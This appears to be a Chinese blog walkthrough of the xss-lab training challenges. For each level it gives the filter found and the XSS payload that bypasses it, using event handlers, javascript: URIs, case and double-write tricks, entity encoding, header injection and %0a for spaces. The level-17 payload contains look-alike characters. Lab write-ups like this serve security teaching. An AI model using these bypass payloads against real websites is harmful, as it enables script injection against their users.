基于xss-lab的绕过

发布于:2024-12-19 ⋅ 阅读:(11) ⋅ 点赞:(0)

绕过:闭合

"><script>alert(1)</script><

11.2. 实体化绕过(使用不被实体化的字符构造payload)

使用了htmlspecialchars()函数,实体化一些字符,但默认配置不过滤单引号,构造单引号payload

分析:闭合单引号

闭合后发现 符号实体化

标签为input,使用input的触发事件绕过(闭合单引号之后再进行绕过)

'onmouseover='alert(1)

鼠标滑过输入框,触发事件

11.3. 实体化绕过

<>被过滤为空,双引号没有被过滤

使用双引号构造payload,用触发事件绕过

" onfocus="alert(1)

11.4. 使用其他标签闭合

分析:script被过滤为scr_ipt

"><a href="javascript:alert(1)">test</a>

点击test触发事件绕过

11.5. 大小写绕过

script被过滤,href也被过滤

使用大小写绕过

"><a hRef="javascript:alert(1)">test</a>

11.6. 双写绕过

script被过滤为空

双写绕过

"><scrscriptipt>alert(1)</scrscriptipt><

11.7. Unicode

href标签的payload:<a href="javascript:alert(1)"

都有过滤

使用Unicode编码

&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029

11.8. Unicode+内容检测绕过

不管输入什么,参数都没有传入,只有输入http之后参数才会传进去

猜测在传入href之前会判断字符串中有没有http://

加入http://

&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029;('http://')

(http://)只是为了绕过检测,是一个无效的函数调用,浏览器会忽略它,继续执行 alert(1)

11.9. hidden参数传递数据

源代码中多了这三行内容

有三个输入框,但是type为隐藏了

三个参数分别尝试,只有当传参?t_sort=1时,代码中才会接收到参数值

尝试构造payload

发现会过滤<>

使用事件触发

" onclick="alert('xss');">

并将type改为submit,点击按钮

11.10. Referer参数传递数据

仍然是只有t_sort可以接收到参数

修改type,发现t_ref接收返回值参数(Referer请求头参数)

尝试构造Referer的payload

闭合input标签

" type="text" onkeydown="alert('xss');">

是我们想要的结果,抓包之后再放包,页面出现文本框,触发事件

11.11. Ua参数传递数据

发现代码中变成t_ua,通过User-Agent传递数据

?t_link=1&t_history=2&t_sort=3 看是否能接收数据

依旧只有t_sort能够接收(这里谁接收都无所谓,因为有ua)

我们抓包修改ua头内容,构造payload

" type="text" onkeydown="alert('xss');">

出现文本框,说明构造成功

再抓包修改,放包,点击文本框,按下键盘,触发事件

11.12. Cookie参数传递数据

盲猜Cookie,抓包

果然,cookie中user的值传递给t_cook变量

修改cookie值构造payload

" type="text" onkeydown="alert(1)"

再抓包修改,放包,点击文本框,按下键盘,触发事件

11.13. exif-xss

该关的Loading...网址已经被弃用,无法复现

参考:

【巨人肩膀上的矮子】XSS挑战之旅---游戏通关攻略(更新至18关) - 先知社区

11.14. ng-include

11.15. 空格被过滤(%0a绕过)

?keyword=test

test被写入<center>标签中

尝试闭合

</center><script>alert(1)</script><center>

输入的/、script被过滤为空

双写、大小写都不能绕过,Unicode也不能绕过

script、空格和/时转译成&nbsp

用回车的url编码%0a代替空格

<img%0asrc=x%0aonerror="alert(1)">

center标签不用闭合

11.16. embed标签

embed标签已经被弃用,不复现

level17.php?arg01=a&arg02=%20οnmοuseοver=alert(2)

后几题都是embed标签


网站公告

今日签到

点亮在社区的每一天
去签到